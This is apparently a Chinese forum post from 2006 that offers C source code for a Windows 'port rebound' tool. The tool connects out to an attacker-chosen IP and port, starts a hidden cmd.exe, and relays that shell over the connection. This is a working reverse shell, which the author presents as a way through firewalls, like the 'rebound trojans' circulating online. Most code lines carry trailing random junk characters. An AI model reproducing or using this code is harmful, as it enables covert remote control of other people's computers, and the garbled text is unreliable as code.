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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 `Ch6"= t  
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/* ============================== xO.7cSqgw  
Rebound port in Windows NT $(NfHIX  
By wind,2006/7 ~Fx[YPO,  
===============================*/ q6ikJ8E8b  
#include kl={L{r  
#include 5sE^MS1  
%bimcRX#W  
#pragma comment(lib,"wsock32.lib") y^nR=Q]_  
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void OutputShell(); Y{O&- 5H^|  
SOCKET sClient; ex| kD*=  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; gSGe]  
hD,- !R  
void main(int argc,char **argv) AzV5Re8M  
{ va<+)b\  
WSADATA stWsaData; $` oA$E3  
int nRet; ?UxY4m%R;  
SOCKADDR_IN stSaiClient,stSaiServer; cpy"1=K~M  
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if(argc != 3) YL. z|{\e  
{ h49Q2`  
printf("Useage:\n\rRebound DestIP DestPort\n"); ~"wD4Ue  
return; nY8UJy}<oL  
} J~}UG]j n  
|4c==7.  
WSAStartup(MAKEWORD(2,2),&stWsaData); e56#Qb@$\  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); XMdc n,  
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stSaiClient.sin_family = AF_INET; ]lo1Kw  
stSaiClient.sin_port = htons(0); 5^Y/RS i  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); j~8+,:  
xC{NIOYn'  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ~3%3{a a  
{ U\ L"\N7  
printf("Bind Socket Failed!\n"); Z\L@5.*ydE  
return; _qg6( X  
} "5YdmBy  
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stSaiServer.sin_family = AF_INET; j"V$J8)[  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 35>}$1?-6  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); |. 6@-h~8  
"h2Ny#  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) |]q=D1/A  
{ s6D-?G*u%8  
printf("Connect Error!"); H94.E|Q\+  
return; p3S c4  
} kmoJ`W} N  
OutputShell(); Z])_E 6.  
} 9,W-KM  
% n{W  
void OutputShell() ${+.1"/[  
{ ! lF^~x  
char szBuff[1024]; :qbG%_PJ  
SECURITY_ATTRIBUTES stSecurityAttributes; 'l:2R,cP  
OSVERSIONINFO stOsversionInfo; J4vKfxEg  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; !BX62j\?  
STARTUPINFO stStartupInfo; f+920/>!Z  
char *szShell; #SYWAcTkO}  
PROCESS_INFORMATION stProcessInformation; M BT-L  
unsigned long lBytesRead; =l(JJ  
m@@QT<  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); HFr3(gNj@  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); A|J\X=5  
stSecurityAttributes.lpSecurityDescriptor = 0; OGFKc#  
stSecurityAttributes.bInheritHandle = TRUE; k~R[5W|'  
[FL I+;gY  
/4?`F} 7)  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ]cr;PRyv  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); =#tQIhX`  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); b8>9mKs  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Q8x{V_Pot  
stStartupInfo.wShowWindow = SW_HIDE; a%!XLyq  
stStartupInfo.hStdInput = hReadPipe; ^{s0d+@{  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; `k&K"jA7$  
l:eNu}{&  
GetVersionEx(&stOsversionInfo); :#}`uR,D/  
f 99PwE(=  
switch(stOsversionInfo.dwPlatformId) <<6w9wNon  
{ G!8pF  
case 1: ,*[LnR  
szShell = "command.com"; \DqxS=o;  
break; qfu2}qUX~%  
default: p]&Q`oh  
szShell = "cmd.exe"; CK(ev*@\D,  
break; 2[po~}2-0  
} _|ib@Xbin  
=LxmzQO#  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); }NCvaO  
a1SOC=.M;  
send(sClient,szMsg,77,0); BUinzW z{a  
while(1) mj=|oIMwT  
{ rbPs~C-[  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); H4NEB1 TO>  
if(lBytesRead) )F9r?5}v4x  
{ 9/Dt:R3QU  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); N| Pm|w*?  
send(sClient,szBuff,lBytesRead,0); Ra5'x)m36)  
} ~ fEs!hl  
else "PaGDhS  
{ fR4l4 GU?)  
lBytesRead=recv(sClient,szBuff,1024,0); M7R&J'SAY  
if(lBytesRead<=0) break; t3$gwO$  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); |nN/x<v  
} io7U[#  
} C-u/{CP  
kA!(}wRL  
return; K<6x4ha  
}
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